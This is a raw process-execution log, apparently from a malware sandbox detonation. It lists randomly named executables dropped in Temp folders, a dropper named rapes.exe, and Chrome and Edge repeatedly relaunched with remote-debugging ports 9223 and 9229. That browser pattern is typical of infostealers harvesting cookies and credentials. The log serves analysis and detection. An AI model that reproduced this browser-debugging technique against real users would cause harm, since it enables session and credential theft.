C:\Users\Admin\AppData\Local\Temp\10110260101\Ps7WqSx.exe

"C:\Users\Admin\AppData\Local\Temp\10110260101\Ps7WqSx.exe"

C:\Windows\system32\tasklist.exe

tasklist /FI "PID eq 4316"

C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe

"C:\Users\Admin\AppData\Local\Temp\10110270101\nhDLtPT.exe"

C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe

"C:\Users\Admin\AppData\Local\Temp\10110280101\ILqcVeT.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffccb52cc40,0x7ffccb52cc4c,0x7ffccb52cc58

C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe

"C:\Users\Admin\AppData\Local\Temp\10110290101\rXOl0pp.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2408,i,11997727860283864032,574051198423989135,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2404 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1804,i,11997727860283864032,574051198423989135,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2440 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=1992,i,11997727860283864032,574051198423989135,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2544 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffccb52cc40,0x7ffccb52cc4c,0x7ffccb52cc58

C:\Users\Admin\AppData\Local\Temp\10110300101\b8c0d5bea0.exe

"C:\Users\Admin\AppData\Local\Temp\10110300101\b8c0d5bea0.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffccfae46f8,0x7ffccfae4708,0x7ffccfae4718

C:\Windows\system32\tasklist.exe

tasklist /FI "PID eq 4316"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffccb52cc40,0x7ffccb52cc4c,0x7ffccb52cc58

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,2954324359669196329,2941225035934118475,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2108 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2096,2954324359669196329,2941225035934118475,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2160 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2096,2954324359669196329,2941225035934118475,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2932 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2096,2954324359669196329,2941225035934118475,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2096,2954324359669196329,2941225035934118475,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2336,i,548217159109246026,14626809823516645602,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2332 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1720,i,548217159109246026,14626809823516645602,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2368 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2000,i,548217159109246026,14626809823516645602,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2472 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3116,i,548217159109246026,14626809823516645602,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3124 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3144,i,548217159109246026,14626809823516645602,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3172 /prefetch:1

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4528,i,548217159109246026,14626809823516645602,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4524 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4656,i,548217159109246026,14626809823516645602,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4688 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=3108,i,548217159109246026,14626809823516645602,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4820 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,2954324359669196329,2941225035934118475,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2120 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,2954324359669196329,2941225035934118475,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4264 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2096,2954324359669196329,2941225035934118475,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4868 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9229 --field-trial-handle=2096,2954324359669196329,2941225035934118475,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5020 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,2954324359669196329,2941225035934118475,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2100 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,2954324359669196329,2941225035934118475,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=4792 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4960,i,548217159109246026,14626809823516645602,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4256 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,2954324359669196329,2941225035934118475,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2708 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,2954324359669196329,2941225035934118475,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=5088 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,2954324359669196329,2941225035934118475,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=disabled --mojo-platform-channel-handle=3728 /prefetch:2

C:\Users\Admin\AppData\Local\Temp\10110310101\514e734b05.exe

"C:\Users\Admin\AppData\Local\Temp\10110310101\514e734b05.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffccfae46f8,0x7ffccfae4708,0x7ffccfae4718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2100,10843358919977149264,8411394819877009697,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 /prefetch:3

C:\Users\Admin\AppData\Local\Temp\10110320101\512d15c020.exe

"C:\Users\Admin\AppData\Local\Temp\10110320101\512d15c020.exe"

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe

C:\Users\Admin\AppData\Local\Temp\10110320101\512d15c020.exe

"C:\Users\Admin\AppData\Local\Temp\10110320101\512d15c020.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 6332 -ip 6332

C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe

C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 6332 -s 828

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffccb52cc40,0x7ffccb52cc4c,0x7ffccb52cc58

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2420,i,3064939092966874344,18241551201941583123,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2416 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1740,i,3064939092966874344,18241551201941583123,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2452 /prefetch:3

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=1980,i,3064939092966874344,18241551201941583123,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2624 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3184,i,3064939092966874344,18241551201941583123,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3204 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3212,i,3064939092966874344,18241551201941583123,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3252 /prefetch:1

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"

C:\Windows\system32\tasklist.exe

tasklist /FI "PID eq 4316"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9229 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4528,i,3064939092966874344,18241551201941583123,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4560 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4740,i,3064939092966874344,18241551201941583123,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4744 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4732,i,3064939092966874344,18241551201941583123,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4848 /prefetch:8

C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"

C:\Users\Admin\AppData\Local\Temp\10110330101\2fb0d6c15e.exe

"C:\Users\Admin\AppData\Local\Temp\10110330101\2fb0d6c15e.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffccfae46f8,0x7ffccfae4708,0x7ffccfae4718

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4812,i,3064939092966874344,18241551201941583123,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4800 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4948,i,3064939092966874344,18241551201941583123,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4408 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2088,6557601656589202898,10905939247081659252,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2100 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2088,6557601656589202898,10905939247081659252,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2088,6557601656589202898,10905939247081659252,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3064 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2088,6557601656589202898,10905939247081659252,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2088,6557601656589202898,10905939247081659252,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3400 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"

